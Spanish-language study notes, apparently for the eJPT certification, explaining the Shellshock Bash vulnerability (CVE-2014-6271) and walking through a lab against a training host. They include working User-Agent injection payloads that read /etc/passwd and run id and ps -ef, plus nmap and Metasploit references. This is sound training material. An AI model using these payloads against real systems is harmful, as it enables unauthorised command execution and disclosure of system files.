> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/ataques-basados-en-sistema-host/linux/explotacion-de-las-vulnerabilidades-de-linux/explotacion-de-la-vulnerabilidad-cve-2014-6271-de-bash-shellshock.md).

# Explotación de la vulnerabilidad CVE-2014-6271 de Bash (Shellshock)

## 🧠 ¿Qué es Shellshock?

**Shellshock** es una familia de vulnerabilidades descubierta en **Bash**, el shell por defecto en la mayoría de distribuciones Linux.\
Permite a un atacante ejecutar **comandos arbitrarios de forma remota**, lo que puede derivar en una **shell reversa** y acceso completo al sistema.

***

## 📅 Contexto histórico

* 📍 **Descubrimiento**: 12 de septiembre de 2014, por **Stéphane Chazelas**
* 📢 **Divulgación pública**: 24 de septiembre de 2014
* 🧬 Afecta a todas las versiones de **Bash desde 1.3**

***

## ⚙️ ¿Cómo funciona la vulnerabilidad?

Bash ejecuta comandos **después** de una secuencia especial maliciosa si se encuentra en una variable de entorno:

```
() { :; }; <comando malicioso>
```

Este comportamiento permite **ejecutar comandos remotos**, lo que lo hace **altamente peligroso**.

***

## 📌 Sistemas afectados

* 🐧 Solo afecta a **sistemas basados en Unix/Linux**
* ❌ **No afecta a Windows**, ya que no utiliza Bash por defecto

***

## 🌐 Contexto web: Servidores Apache

* Cuando un servidor **Apache** tiene habilitado el uso de **CGI scripts** (`.sh`, `.cgi`), estos scripts se ejecutan usando **Bash**.
* Si no está parcheado, este comportamiento puede explotarse enviando la carga maliciosa mediante una cabecera HTTP (como `User-Agent`, `Referer`, etc.).

***

## 🚀 Explotación de Shellshock

**🧪 Requisitos**

* Un **vector de entrada** que interactúe con Bash (por ejemplo, un script CGI accesible públicamente).
* Enviar una carga útil tipo reverse shell dentro de una variable de entorno manipulada.

**🔧 Métodos de explotación**

* ✅ Manual: mediante `curl` o modificando cabeceras HTTP.
* ⚙️ Automático: utilizando el **módulo de Metasploit `exploit/multi/http/apache_mod_cgi_bash_env_exec`**.

***

## 🧪 Laboratorio Práctico

**Paso 1:** Abra el enlace del laboratorio para acceder a la máquina Kali.

<figure><img src="/files/I5cmXnaVEIR2EVwdoMtW" alt=""><figcaption></figcaption></figure>

**Paso 2:** Ejecute el escaneo Nmap en el destino para encontrar puertos abiertos.

**Dominio:**

```
nmap demo.ine.local
```

<figure><img src="/files/bSqcDOQu5oIdWem4PIG9" alt=""><figcaption></figcaption></figure>

El puerto 80 está abierto

**Paso 3:** Inicie Firefox y navegue hasta el dominio de destino.

**URL:**

```
http://demo.ine.local
```

<figure><img src="/files/oQpfh0qiRpnyShdLUdVz" alt=""><figcaption></figcaption></figure>

Un sitio web se está ejecutando en el puerto 80 del destino.

**Paso 4:** Haga clic derecho y seleccione "Ver código fuente de la página".

<figure><img src="/files/4DyAtyNlPr6A6laircjT" alt=""><figcaption></figcaption></figure>

Se está ejecutando un script CGI en el servidor de destino.

**Paso 5:** Utilice el script Nmap NSE para comprobar si el servidor es vulnerable al ataque shellshock.

**Dominio:**

```
nmap --script http-shellshock --script-args "http-shellshock.uri=/gettime.cgi" demo.ine.local
```

<figure><img src="/files/E5rihQUgDVrac364f7tU" alt=""><figcaption></figcaption></figure>

El servidor es vulnerable al ataque Shellshock.

**Paso 6:** Busque el exploit disponible para la vulnerabilidad Shellshock.

<figure><img src="/files/wJF8qRb6ApXGn3B4ROpC" alt=""><figcaption></figcaption></figure>

**Paso 7:** El enlace de GitHub contiene los pasos para explotar la vulnerabilidad.

**URL:** <https://github.com/opsxcq/exploit-CVE-2014-6271>

<figure><img src="/files/AOh5E3jpRxySAmYV2S61" alt=""><figcaption></figcaption></figure>

El atacante tiene que crear un agente de usuario malicioso para explotar la vulnerabilidad.

**Paso 8:** Configura Firefox para usar Burp Suite. Haz clic en el icono del complemento FoxyProxy en la esquina superior derecha del navegador y selecciona "Burp Suite".

<figure><img src="/files/CAvExzfayrCFZTYJUFtI" alt=""><figcaption></figcaption></figure>

**Paso 9:** Inicie Burp Suite, navegue hasta el proxy y active la intercepción.

Recargue la página e intercepte la solicitud con Burp Suite.

<figure><img src="/files/RzOY8LtBOKXz2tsJvVjP" alt=""><figcaption></figcaption></figure>

**Paso 10:** Haga clic derecho y seleccione la opción “Enviar a repetidor” y navegue a la pestaña Repetidor.

<figure><img src="/files/gTjp1ConviIx4OnYbQz8" alt=""><figcaption></figcaption></figure>

**Paso 11:** Modifique el agente de usuario e inyecte la carga maliciosa.

**Carga útil:**

```
() { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'
```

<figure><img src="/files/ooAlXgFKSlOGamUCMWSl" alt=""><figcaption></figcaption></figure>

Haga clic en el botón Enviar.

<figure><img src="/files/pXzSgPuR8Z74gn27ezey" alt=""><figcaption></figcaption></figure>

El comando se ejecutó exitosamente.

**Paso 12:** Modifique la carga útil para ejecutar el comando 'id'.

**Carga útil:**

```
() { :; }; echo; echo; /bin/bash -c 'id'
```

<figure><img src="/files/DTfCu34qaM73edx26M4z" alt=""><figcaption></figcaption></figure>

**Paso 13:** Modifique la carga útil para ejecutar el comando 'ps -ef'.

**Carga útil:**

```
() { :; }; echo; echo; /bin/bash -c 'ps -ef'
```

<figure><img src="/files/s4qAMzdnC0MFzC5jJbAe" alt=""><figcaption></figcaption></figure>

#### Conclusión

En este laboratorio, aprendimos sobre la explotación de la vulnerabilidad "Shellshock" (CVE-2014-6271) y realizamos un ataque contra un servidor web.

#### References:

* [Shellshock](https://github.com/opsxcq/exploit-CVE-2014-6271)
